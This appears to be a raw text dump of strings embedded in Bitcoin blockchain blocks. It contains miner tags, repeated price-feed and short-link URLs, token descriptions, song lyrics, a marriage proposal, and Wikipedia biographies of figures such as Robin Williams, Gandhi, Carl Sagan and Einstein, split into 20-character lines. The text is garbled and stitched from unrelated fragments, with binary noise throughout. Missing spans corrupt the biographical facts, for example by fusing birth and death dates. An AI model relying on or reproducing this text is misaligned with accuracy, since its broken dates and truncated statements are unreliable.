5316f55b30d0e09af7a3
e402425aaba4dc813202
997348e876cb16037605
b72d|396\5316f55b30d
0e09af7a3e402425aaba
4dc813202997348e876c
e1d867820e041fc76e90
b4db9fabd88f50b463f0
dafb5145901210b87048
28e108e8ea1d23c6276f
e8cff86f9969ec8ed509
0c94b03b6e7d4f11d4c4
9ed0ffe8b5c842fb01fc
51293dd93ef55b34d1d4
110bd3d26a12f2ccb7be
f5bb447b33126bd65103
d7f48d9eb221a1fc1236
! feeds.info/static/live/btc-usd.jR
Mined by yuan737715284
! feeds.info/static/live/btc-usd.jR
u=https://cpr.sm/zr05m7JKZy8
u=https://cpr.sm/zr05m7JKZy
! feeds.info/static/live/btc-usd.jR
cMined by f2poolscant
! feeds.info/static/live/btc-usd.jR
5Mined by f2poolscant
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by rockminertest
! feeds.info/static/live/btc-usd.jR
#http://vyktorybroadcastinR
http://vyktory.webs.com
This is Electrum 2.0
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Vyktoryan Welfare Token
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! CKSCAN VOTE POLL=1000000000000 AR
CKSCAN VERIFY AAAAAAAAAA
Mined by f2poolscant
Mined by mayixiongdi
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! l Vyktory Dragons win the M-LeagR
u=https://cpr.sm/g-VXg23B5W(6
u=https://cpr.sm/g-VXg23B5W
u=https://cpr.sm/g-VXg23B5W
! feeds.info/static/live/btc-usd.jR
Mined by lucifer1006
Mined by zhongrui0325
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
1 all step", "total": 52352}
'j%0 {"name": "pillars", "desc": "one sm
! feeds.info/static/live/btc-usd.jR
! t.io/feed/14BbdF6gtvdMv56c2q3VqUR
Mined by yangliangdong
! feeds.info/static/live/btc-usd.jR
Mined by telecomadmin
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by lcw4087585001
! feeds.info/static/live/btc-usd.jR
u=https://cpr.sm/-o6A81NnDp
$/mining.bitcoinaffiliatenetwork.com/
Let's sign up and say hello!
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
paMined by f2poolscant
Mined by xwd305486616
! feeds.info/static/live/btc-usd.jR
Mined by qq125236648
Mined by zcw13623028508
! feeds.info/static/live/btc-usd.jR
Mined by lcw4087585001
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by sww11005088
! feeds.info/static/live/btc-usd.jR
]Mined by f2poolscant
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by f2poolscant
! feeds.info/static/live/btc-usd.jR
File: blk00172.txt
! feeds.info/static/live/btc-usd.jR
Mined by f2poolscant
Mined by zhanlongclam
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
'j%0 {"name": "kkkl", "desc": "tennis",
'j%0 {"total": 42, "desc": "tennis", "na
! feeds.info/static/live/btc-usd.jR
Mined by chenchunlei
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
kMined by f2poolscant
! feeds.info/static/live/btc-usd.jR
&digitaltangibletrust.com/R
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
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#http://jpja.net/ BULL $50R
#http://jpja.net/ BEAR $50R
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! feeds.info/static/live/btc-usd.jR
Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
Mined by qq2755988510
! feeds.info/static/live/btc-usd.jR
Mined by nanjinghaowei
`Mined by zhaodong1982
Mined by zhenxijiao713
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by zhanghonghai326
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
http://goo.gl/6jQ86V
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by sunnyhctao03
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by manzixun130204
LTB Organizing Token
!A Token to Control CommunR
! feeds.info/static/live/btc-usd.jR
Mined by qq314782161
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by zhanlongclam
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by zhanlongclam
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
dIMined by f2poolscant
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
%MaidSafe is a decentralizR
)MaidSafeCoin is a proxy tR
http://maidsafe.net/
! feeds.info/static/live/btc-usd.jR
!There is Only One BrooklyR
$/mining.bitcoinaffiliatenetwork.com/
Mined by wangxingsmile
JUST A KISS AS PAYMENT
! feeds.info/static/live/btc-usd.jR
Project BlackBean Asset
! feeds.info/static/live/btc-usd.jR
Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
<179|Chiharu and I f
ound this little yel
low robot while expl
will be covered by
tar or eventually re
moved but this tribu
9210YellowRobot.jpg>
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! feeds.info/static/live/btc-usd.jR
Mined by zhenxijiao713
! feeds.info/static/live/btc-usd.jR
Gives access to the StaffR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by chenjialong
! feeds.info/static/live/btc-usd.jR
Mined by caixianlong
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
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\1330?Robin McLaurin
Williams (July 21,
2014) was an America
n actor, comedian, a
nd filmmaker. Starti
ng as a stand-up com
edian in San Francis
co and Los Angeles i
n the mid-1970s, he
is credited with lea
ding San Francisco's
comedy renaissance.
After rising to fam
e as Mork in the TV
series Mork & Mindy
s went on to establi
sh a career in both
stand-up comedy and
feature film acting.
included acclaimed w
ork such as Popeye (
1980), The World Acc
ording to Garp (1982
), Good Morning, Vie
tnam (1987), Dead Po
ets Society (1989),
Awakenings (1990), T
he Fisher King (1991
), and Good Will Hun
ting (1997), as well
as financial succes
ses such as Hook (19
91), Aladdin (1992),
Mrs. Doubtfire (199
3), Jumanji (1995),
The Birdcage (1996),
Night at the Museum
(2006), and Happy F
eet (2006). He appea
red in the music vid
eo for Bobby McFerri
n's song "Don't Worr
liams was nominated
for the Academy Awar
d for Best Actor thr
ee times and won the
Academy Award for B
est Supporting Actor
for his performance
as therapist Dr. Se
an Maguire in Good W
ill Hunting. He rece
ived two Emmy Awards
, four Golden Globe
Awards, two Screen A
ctors Guild Awards,
and five Grammy Awar
2014, Williams died
of an apparent suic
ide at his home in P
aradise Cay, Califor
nia. - WikipediaRobi
nWilliams.jpg<11109|
||||||||||||||||||||
||||||||||||||||||||
IJSTUVWXYZcdefghijst
&'()*56789:CDEFGHIJS
TUVWXYZcdefghijstuvw
\3784>Michael Joseph
Jackson (August 29,
009) was an American
singer, songwriter,
actor, and dancer.
Called the King of P
op, his contribution
s to music, dance, a
nd fashion, along wi
th his publicized pe
rsonal life, made hi
m a global figure in
popular culture for
of the Jackson famil
y, he debuted on the
professional music
scene along with his
brothers as a membe
r of The Jackson 5 i
n 1964, and began hi
s solo career in 197
1. In the early 1980
s, Jackson became a
dominant figure in p
opular music. The mu
sic videos for his s
ongs, including thos
e of "Beat It", "Bil
lie Jean", and "Thri
ller", were credited
with breaking down
racial barriers and
with transforming th
e medium into an art
form and promotiona
l tool. The populari
ty of these videos h
elped to bring the t
hen-relatively-new t
elevision channel MT
V to fame. With vide
os such as "Black or
White" and "Scream"
, he continued to in
novate the medium th
roughout the 1990s,
as well as forging a
reputation as a tou
ring solo artist. Th
rough stage and vide
o performances, Jack
son popularized a nu
mber of complicated
dance techniques, su
ch as the robot and
the moonwalk, to whi
ch he gave the name.
His distinctive sou
nd and style has inf
luenced numerous hip
hop, post-disco, co
ntemporary R&B, pop,
um Thriller is the b
est-selling album of
all time. His other
albums, including O
ff the Wall (1979),
Bad (1987), Dangerou
s (1991), and HIStor
y (1995), also rank
among the world's be
st-selling. Jackson
is one of the few ar
tists to have been i
nducted into the Roc
k and Roll Hall of F
ame twice. He was al
so inducted into the
Songwriter's Hall o
f Fame and the Dance
Hall of Fame as the
first and only danc
er from pop and rock
music. Some of his
other achievements i
nclude multiple Guin
ness World Records;
13 Grammy Awards as
well as the Grammy L
egend Award and the
Grammy Lifetime Achi
evement Award; 26 Am
erican Music Awards,
more than any other
artist, including t
he "Artist of the Ce
ntury" and "Artist o
f the 1980s"; 13 num
ber-one singles in t
he United States in
his solo career, mor
e than any other mal
e artist in the Hot
100 era; and the est
imated sale of over
400 million records
worldwide. Jackson h
as won hundreds of a
wards, making him th
e most-awarded recor
ding artist in the h
istory of popular mu
sic. In what would h
ave been Jackson's 5
2nd birthday on Augu
st 29, 2010, he beca
me the most download
ed artist of all tim
e in Nokia Music Sto
re. Jackson became t
he first artist in h
istory to have a top
ten single in the B
illboard Hot 100 in
five different decad
es when "Love Never
Felt So Good" reache
d number nine on May
21, 2014. Jackson t
raveled the world at
tending events honor
ing his humanitarian
ism and in 2000, the
Guinness Book of Re
cords recognized him
for supporting 39 c
harities, more than
any other artist or
cts of Jackson's per
sonal life, includin
g his changing appea
rance, personal rela
tionships, and behav
ior, generated contr
oversy. In the mid-1
990s, he was accused
of child sexual abu
se, but the case was
settled out of cour
t for about $25 mill
ion and no formal ch
arges were brought.
In 2005, he was trie
d and acquitted of f
urther child sexual
abuse allegations an
d several other char
ges after the jury f
ound him not guilty
on all counts. While
preparing for his c
omeback concert seri
es titled This Is It
, Jackson died of ac
ute propofol and ben
zodiazepine intoxica
tion on June 25, 200
9, after suffering f
rom cardiac arrest.
The Los Angeles Coun
ty Coroner ruled his
death a homicide, a
nd his personal phys
ician Conrad Murray
was convicted of inv
oluntary manslaughte
r. Jackson's death t
riggered a global ou
tpouring of grief an
d a live broadcast o
f his public memoria
l service was viewed
around the world. -
WikipediaMichaelJac
)*456789:CDEFGHIJSTU
VWXYZcdefghijstuvwxy
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\1487?John R. "Johnn
y" Cash (February 26
12, 2003) was a sin
ger-songwriter, acto
r, and author, widel
y considered one of
the most influential
American musicians
of the 20th century.
Although primarily
remembered as a coun
try icon, his genre-
spanning songs and s
ound embraced rock a
nd roll, rockabilly,
blues, folk, and go
spel. This crossover
appeal won Cash the
rare honor of multi
ple induction in the
Country Music, Rock
and Roll, and Gospe
l Music Halls of Fam
for his deep bass-b
aritone voice, disti
nctive sound of his
Tennessee Three back
ing band, a rebellio
usness coupled with
an increasingly somb
er and humble demean
or, free prison conc
erts and trademark l
ook, which earned hi
m the nickname "The
Man in Black". He tr
aditionally began hi
s concerts with the
simple "Hello, I'm J
ohnny Cash.", follow
ed by his signature
"Folsom Prison Blues
music echoed themes
of sorrow, moral tr
ibulation and redemp
tion, especially in
the later stages of
his career. His best
-known songs include
d "I Walk the Line",
"Folsom Prison Blue
s", "Ring of Fire",
"Get Rhythm" and "Ma
n in Black". He also
recorded humorous n
umbers like "One Pie
ce at a Time" and "A
Boy Named Sue"; a d
uet with his future
wife, June Carter, c
alled "Jackson"; and
railroad songs incl
uding "Hey, Porter"
and "Rock Island Lin
e". During the last
stage of his career,
Cash covered songs
by several late 20th
-century rock artist
s, most notably "Hur
t" by Nine Inch Nail
s.- WikipediaJohnnyC
'6NERQMELJVa|iV\u]JL
DEFGHIJSTUVWXYZcdefg
GHIJSTUVWXYZcdefghij
/1330:Robin McLaurin
Williams (July 21,
2014) was an America
n actor, comedian, a
nd filmmaker. Starti
ng as a stand-up com
edian in San Francis
co and Los Angeles i
n the mid-1970s, he
is credited with lea
ding San Francisco's
comedy renaissance.
After rising to fam
e as Mork in the TV
series Mork & Mindy
s went on to establi
sh a career in both
stand-up comedy and
feature film acting.
included acclaimed w
ork such as Popeye (
1980), The World Acc
ording to Garp (1982
), Good Morning, Vie
tnam (1987), Dead Po
ets Society (1989),
Awakenings (1990), T
he Fisher King (1991
), and Good Will Hun
ting (1997), as well
as financial succes
ses such as Hook (19
91), Aladdin (1992),
Mrs. Doubtfire (199
3), Jumanji (1995),
The Birdcage (1996),
Night at the Museum
(2006), and Happy F
eet (2006). He appea
red in the music vid
eo for Bobby McFerri
n's song "Don't Worr
liams was nominated
for the Academy Awar
d for Best Actor thr
ee times and won the
Academy Award for B
est Supporting Actor
for his performance
as therapist Dr. Se
an Maguire in Good W
ill Hunting. He rece
ived two Emmy Awards
, four Golden Globe
Awards, two Screen A
ctors Guild Awards,
and five Grammy Awar
2014, Williams died
of an apparent suic
ide at his home in P
aradise Cay, Califor
nia. - WikipediaRobi
nWilliams.jpg<11109|
||||||||||||||||||||
||||||||||||||||||||
IJSTUVWXYZcdefghijst
&'()*56789:CDEFGHIJS
TUVWXYZcdefghijstuvw
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ae1923e7b7617ffee98b
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! feeds.info/static/live/btc-usd.jR
'j%0 {"name": "jk", "desc": "sosirius",
?3184/Mohandas Karam
chand Gandhi (2 Octo
ary 1948) was the pr
eeminent leader of I
ndian nationalism in
British-ruled India
. Employing nonviole
nt civil disobedienc
e, Gandhi led India
to independence and
inspired movements f
or civil rights and
freedom across the w
orld. The honorific
Mahatma (Sanskrit: "
high-souled", "vener
him first in 1914 in
now used worldwide.
He is also called B
apu (Gujarati: endea
rment for "father",[
4] "papa") in India.
in a Hindu merchant
caste family in coas
tal Gujarat, western
India, and trained
in law at the Inner
Temple, London, Gand
hi first employed no
nviolent civil disob
edience as an expatr
iate lawyer in South
Africa, in the resi
dent Indian communit
y's struggle for civ
il rights. After his
return to India in
1915, he set about o
rganising peasants,
farmers, and urban l
abourers to protest
against excessive la
nd-tax and discrimin
ation. Assuming lead
ership of the Indian
National Congress i
n 1921, Gandhi led n
ationwide campaigns
for easing poverty,
expanding women's ri
ghts, building relig
ious and ethnic amit
y, ending untouchabi
lity, but above all
for achieving Swaraj
ndhi famously led In
dians in challenging
the British-imposed
salt tax with the 4
00 km (250 mi) Dandi
Salt March in 1930,
and later in callin
g for the British to
Quit India in 1942.
He was imprisoned f
or many years, upon
many occasions, in b
oth South Africa and
India. Gandhi attem
pted to practise non
violence and truth i
n all situations, an
d advocated that oth
ers do the same. He
lived modestly in a
self-sufficient resi
dential community an
d wore the tradition
al Indian dhoti and
shawl, woven with ya
rn hand spun on a ch
arkha. He ate simple
vegetarian food, an
d also undertook lon
g fasts as the means
to both self-purifi
cation and social pr
ision of a free Indi
a based on religious
pluralism, however,
was challenged in t
he early 1940s by a
new Muslim nationali
sm which was demandi
ng a separate Muslim
homeland carved out
of India. Eventuall
y, in August 1947, B
ritain granted indep
endence, but the Bri
tish Indian Empire w
as partitioned into
two dominions, a Hin
du-majority India an
d Muslim Pakistan. A
s many displaced Hin
dus, Muslims, and Si
khs made their way t
o their new lands, r
eligious violence br
oke out, especially
in the Punjab and Be
ngal. Eschewing the
official celebration
of independence in
Delhi, Gandhi visite
d the affected areas
, attempting to prov
ide solace. In the m
onths following, he
undertook several fa
sts unto death to pr
omote religious harm
ony. The last of the
se, undertaken on 12
January 1948 at age
78, also had the in
direct goal of press
uring India to pay o
ut some cash assets
owed to Pakistan. So
me Indians thought G
andhi was too accomm
odating. Among them
was Nathuram Godse,
a Hindu nationalist,
who assassinated Ga
ndhi on 30 January 1
948 by firing three
bullets into his che
st at point-blank ra
mmonly, though not o
fficially, considere
d the Father of the
Nation in India. His
birthday, 2 October
, is commemorated th
ere as Gandhi Jayant
i, a national holida
y, and world-wide as
the International D
ay of Nonviolence. -
WikipediaMahatmaGan
2'6NERQMELJVa|iV\u]J
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|2873"Martin Luther
King, Jr. (January 1
1968) was an Americ
an pastor, activist,
humanitarian, and l
eader in the African
-American Civil Righ
ts Movement. He is b
est known for his ro
le in the advancemen
t of civil rights us
ing nonviolent civil
disobedience based
on his Christian bel
Michael King, but h
is father changed hi
s name in honor of t
he German reformer M
artin Luther. A Bapt
ist minister, King b
ecame a civil rights
activist early in h
is career. He led th
e 1955 Montgomery Bu
s Boycott and helped
found the Southern
Christian Leadership
Conference (SCLC) i
n 1957, serving as i
ts first president.
With the SCLC, King
led an unsuccessful
struggle against seg
regation in Albany,
Georgia, in 1962, an
d organized nonviole
nt protests in Birmi
ngham, Alabama, that
attracted national
attention following
television news cove
rage of the brutal p
olice response. King
also helped to orga
nize the 1963 March
on Washington, where
he delivered his fa
mous "I Have a Dream
" speech. There, he
established his repu
tation as one of the
greatest orators in
American history. J
. Edgar Hoover consi
dered him a radical
and made him an obje
ct of the Federal Bu
reau of Investigatio
n's COINTELPRO for t
he rest of his life.
964, King received t
he Nobel Peace Prize
for combating racia
l inequality through
nonviolence. In 196
5, he and the SCLC h
elped to organize th
e Selma to Montgomer
y marches and the fo
llowing year, he too
k the movement north
to Chicago to work
on segregated housin
g. In the final year
s of his life, King
expanded his focus t
o include poverty an
d the Vietnam War, a
lienating many of hi
s liberal allies wit
h a 1967 speech titl
ed "Beyond Vietnam".
s planning a nationa
l occupation of Wash
ington, D.C., to be
called the Poor Peop
le's Campaign, when
he was assassinated
on April 4 in Memphi
s, Tennessee. His de
ath was followed by
riots in many U.S. c
ities. Allegations t
hat James Earl Ray,
the man convicted of
killing King, had b
een framed or acted
in concert with gove
rnment agents persis
ted for decades afte
r the shooting. The
jury of a 1999 civil
trial found Loyd Jo
wers to be complicit
in a conspiracy aga
inst King. The rulin
g has since been dis
credited and a siste
r of Jowers admitted
that he had fabrica
ted the story so he
could make $300,000
from selling the sto
ry, and she in turn
corroborated his sto
ry in order to get s
ome money to pay her
was posthumously aw
arded the Presidenti
al Medal of Freedom
and the Congressiona
l Gold Medal. Martin
Luther King, Jr. Da
y was established as
a holiday in numero
us cities and states
beginning in 1971,
and as a U.S. federa
l holiday in 1986. H
undreds of streets i
n the U.S. have been
renamed in his hono
r. In addition, a co
unty was rededicated
in his honor. A mem
orial statue on the
National Mall was op
ened to the public i
n 2011. - WikipediaM
artinLutherKingJr.jp
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miMined by f2poolscant
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7585de3411d187717d3b
7a2be09811a86b8304cd
I am rich and virtuous.
This is a placeholder.
FBITestMessageFromBK
I am rich and prosperous.R
$/mining.bitcoinaffiliatenetwork.com/
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
Yuki will you marry me ? Tetsu.
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by zz476690923
! feeds.info/static/live/btc-usd.jR
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! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
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! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
URL://bit.ly/1rSHdYj
a7a0eae84eb95fb95c4c
cc24f6fb537b2cd4892e
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! feeds.info/static/live/btc-usd.jR
Mined by f2poolscant
Mined by arendelle1dm
Mined by zhanlongclam
! feeds.info/static/live/btc-usd.jR
"5307"Carl Edward Sa
gan (November 9, 193
996) was an American
astronomer, astroph
ysicist, cosmologist
, author, science po
pularizer, and scien
ce communicator in a
stronomy and other n
atural sciences. His
contributions were
central to the disco
very of the high sur
face temperatures of
Venus. However, he
is best known for hi
s contributions to t
he scientific resear
ch of extraterrestri
al life, including e
xperimental demonstr
ation of the product
ion of amino acids f
rom basic chemicals
by radiation. Sagan
assembled the first
physical messages th
at were sent into sp
ace: the Pioneer pla
que and the Voyager
Golden Record, unive
rsal messages that c
ould potentially be
understood by any ex
traterrestrial intel
ligence that might f
ished more than 600
scientific papers an
d articles and was a
uthor, co-author or
editor of more than
20 books. Sagan is k
nown for many of his
popular science boo
ks, such as The Drag
ons of Eden, Broca's
Brain and Pale Blue
Dot, and for the aw
ard-winning 1980 tel
evision series Cosmo
s: A Personal Voyage
, which he narrated
and co-wrote. The mo
st widely watched se
ries in the history
of American public t
elevision, Cosmos ha
s been seen by at le
ast 500 million peop
le across 60 differe
nt countries. The bo
ok Cosmos was publis
hed to accompany the
series. He also wro
te the science ficti
on novel Contact, th
e basis for a 1997 f
ilm of the same name
vocated scientific s
keptical inquiry and
the scientific meth
od, pioneered exobio
logy and promoted th
e Search for Extra-T
errestrial Intellige
nce (SETI). He spent
most of his career
as a professor of as
tronomy at Cornell U
niversity, where he
directed the Laborat
ory for Planetary St
udies. Sagan and his
works received nume
rous awards and hono
rs, including the NA
SA Distinguished Pub
lic Service Medal, t
he National Academy
of Sciences Public W
elfare Medal, the Pu
litzer Prize for Gen
eral Non-Fiction for
his book The Dragon
s of Eden, and, rega
rding Cosmos: A Pers
onal Voyage, two Emm
y Awards, the Peabod
y Award and the Hugo
Award. He married t
hree times and had f
ive children. After
suffering from myelo
dysplasia, Sagan die
d of pneumonia at th
e age of 62 on Decem
he Pale Blue Dot is
a photograph of plan
et Earth taken in 19
90 by the Voyager 1
space probe from a r
ecord distance of ab
out 6 billion kilome
ters (3.7 billion mi
les, 40 AU) from Ear
th, as part of the s
olar system Family P
ortrait series of im
ages. In the photogr
aph, Earth is shown
as a fraction of a p
ixel (0.12 pixel in
size) against the va
stness of space. The
Voyager 1 spacecraf
t, which had complet
ed its primary missi
on and was leaving t
he Solar System, was
commanded by NASA t
o turn its camera ar
ound and to take a p
hotograph of Earth a
cross a great expans
e of space, at the r
equest of Carl Sagan
e Blue Dot: A Vision
of the Human Future
in Space, astronome
r Carl Sagan related
his thoughts on a d
eeper meaning of the
this distant vantag
e point, the Earth m
ight not seem of any
particular interest
. But for us, it's d
ifferent. Consider a
gain that dot. That'
s here. That's home.
That's us. On it ev
eryone you love, eve
ryone you know, ever
yone you ever heard
of, every human bein
g who ever was, live
d out their lives. T
he aggregate of our
joy and suffering, t
housands of confiden
t religions, ideolog
ies, and economic do
ctrines, every hunte
r and forager, every
hero and coward, ev
ery creator and dest
royer of civilizatio
n, every king and pe
asant, every young c
ouple in love, every
mother and father,
hopeful child, inven
tor and explorer, ev
ery teacher of moral
s, every corrupt pol
itician, every "supe
rstar," every "supre
me leader," every sa
int and sinner in th
e history of our spe
on a mote of dust s
uspended in a sunbea
very small stage in
a vast cosmic arena
. Think of the river
s of blood spilled b
y all those generals
and emperors so tha
t in glory and trium
ph they could become
the momentary maste
rs of a fraction of
a dot. Think of the
endless cruelties vi
sited by the inhabit
ants of one corner o
f this pixel on the
scarcely distinguish
able inhabitants of
some other corner. H
ow frequent their mi
sunderstandings, how
eager they are to k
ill one another, how
fervent their hatre
ds. Our posturings,
our imagined self-im
portance, the delusi
on that we have some
privileged position
in the universe, ar
e challenged by this
point of pale light
. Our planet is a lo
nely speck in the gr
eat enveloping cosmi
c dark. In our obscu
is no hint that help
will come from else
where to save us fro
Earth is the only wo
rld known, so far, t
o harbor life. There
is nowhere else, at
least in the near f
uture, to which our
species could migrat
e. Visit, yes. Settl
e, not yet. Like it
or not, for the mome
nt, the Earth is whe
re we make our stand
. It has been said t
hat astronomy is a h
umbling and characte
r-building experienc
e. There is perhaps
no better demonstrat
ion of the folly of
human conceits than
this distant image o
f our tiny world. To
me, it underscores
our responsibility t
o deal more kindly w
ith one another and
to preserve and cher
ish the pale blue do
t, the only home we'
ue Dot: A Vision of
the Human Future in
Space, 1997 reprint,
>;5:9CK`QCGZH9:SqTZc
gggggggggggggggggggg
gggggggggggggggggggg
IJSTUVWXYZcdefghijst
&'()*56789:CDEFGHIJS
TUVWXYZcdefghijstuvw
*456789:CDEFGHIJSTUV
WXYZcdefghijstuvwxyz
6789:CDEFGHIJSTUVWXY
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241c899e5e9e8037eedf
2b9ad3f7d5266a313347
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:2599*Albert Einstei
18 April 1955) was
a German-born theore
tical physicist and
philosopher of scien
ce. He developed the
general theory of r
elativity, one of th
e two pillars of mod
ern physics (alongsi
de quantum mechanics
). He is best known
in popular culture f
equivalence formula
E = mc2 (which has
been dubbed "the wor
ld's most famous equ
ation"). He received
the 1921 Nobel Priz
e in Physics "for hi
s services to theore
tical physics, and e
specially for his di
scovery of the law o
f the photoelectric
effect". The latter
was pivotal in estab
lishing quantum theo
nning of his career,
Einstein thought th
at Newtonian mechani
cs was no longer eno
ugh to reconcile the
laws of classical m
echanics with the la
ws of the electromag
netic field. This le
d to the development
of his special theo
ry of relativity. He
realized, however,
that the principle o
f relativity could a
lso be extended to g
ravitational fields,
and with his subseq
uent theory of gravi
tation in 1916, he p
ublished a paper on
the general theory o
f relativity. He con
tinued to deal with
problems of statisti
cal mechanics and qu
antum theory, which
led to his explanati
ons of particle theo
ry and the motion of
molecules. He also
investigated the the
rmal properties of l
ight which laid the
foundation of the ph
oton theory of light
. In 1917, Einstein
applied the general
theory of relativity
to model the large-
scale structure of t
as visiting the Unit
ed States when Adolf
Hitler came to powe
r in 1933 and, being
Jewish, did not go
back to Germany, whe
re he had been a pro
fessor at the Berlin
Academy of Sciences
. He settled in the
U.S., becoming an Am
erican citizen in 19
40. On the eve of Wo
rld War II, he endor
sed a letter to Pres
ident Franklin D. Ro
osevelt alerting him
to the potential de
velopment of "extrem
ely powerful bombs o
f a new type" and re
commending that the
U.S. begin similar r
esearch. This eventu
ally led to what wou
ld become the Manhat
tan Project. Einstei
n supported defendin
g the Allied forces,
but largely denounc
ed the idea of using
the newly discovere
d nuclear fission as
a weapon. Later, wi
th the British philo
sopher Bertrand Russ
ell, Einstein signed
ein Manifesto, which
highlighted the dan
ger of nuclear weapo
ns. Einstein was aff
iliated with the Ins
titute for Advanced
Study in Princeton,
New Jersey, until hi
Einstein published m
ore than 300 scienti
fic papers along wit
h over 150 non-scien
tific works. His int
ellectual achievemen
ts and originality h
ave made the word "E
instein" synonymous
with genius. -Wikipe
;&# #H36+;UKZXTKRQ^
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6789:CDEFGHIJSTUVWXY
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00fb1ee83b3199b9a64b
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6fdf620e0e595629d9f6
>108<the universe ma
y be infinite, but w
e are all stars and,
therefore,make brig
ht where once there
was darkness.AmandaV
((((((((((((((((((((
((((((((((((((((((((
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18333988a10999d1057b
Mined by zhanlongclam
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! feeds.info/static/live/btc-usd.jR
Mined by sunnyhctao03
*j(BestUseOfBitcoinTechIs E-Bill of Lading.
! feeds.info/static/live/btc-usd.jR
File: blk00173.txt
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$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
Mined by xushiming123
oMined by arendelle0ls
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! feeds.info/static/live/btc-usd.jR
Mined by qq1009756186
Mined by zhanlongclam
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Mined by arendelle1dm
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! feeds.info/static/live/btc-usd.jR
Mined by arendelle1dm
! feeds.info/static/live/btc-usd.jR
)Crypto-Rewards Program htR
! feeds.info/static/live/btc-usd.jR
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! feeds.info/static/live/btc-usd.jR
@Mined by wanyouyinli1
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Mined by wangxingsmile
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Mined by sxzfafaaisinila
! feeds.info/static/live/btc-usd.jR
2 otal": "10000000"}
'j%1 "An asset for Assembly Assets", "t
'j%0 {"name": "assembly_assets", "desc":
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`Mined by f2poolscant
! feeds.info/static/live/btc-usd.jR
:1745|Neil Alden Arm
strong (August 5, 19
12) was an American
astronaut and the fi
rst person to walk o
n the Moon. He was a
lso an aerospace eng
ineer, naval aviator
, test pilot, and un
iversity professor.
Before becoming an a
stronaut, Armstrong
was an officer in th
e U.S. Navy and serv
ed in the Korean War
. After the war, he
earned his bachelor'
s degree at Purdue U
niversity and served
as a test pilot at
the National Advisor
y Committee for Aero
nautics High-Speed F
light Station, now k
nown as the Dryden F
light Research Cente
r, where he logged o
ver 900 flights. He
later completed grad
uate studies at the
University of Southe
participant in the U
.S. Air Force's Man
in Space Soonest and
X-20 Dyna-Soar huma
n spaceflight progra
ms, Armstrong joined
the NASA Astronaut
Corps in 1962. He ma
de his first space f
light, as command pi
lot of Gemini 8, in
1966, becoming NASA'
s first civilian ast
ronaut to fly in spa
ce. On this mission,
he performed the fi
rst docking of two s
pacecraft, with pilo
mstrong's second and
last spaceflight wa
s as mission command
er of the Apollo 11
moon landing, in Jul
y 1969. On this miss
ion, Armstrong and B
uzz Aldrin descended
to the lunar surfac
e and spent two and
a half hours explori
ng, while Michael Co
llins remained in lu
nar orbit in the Com
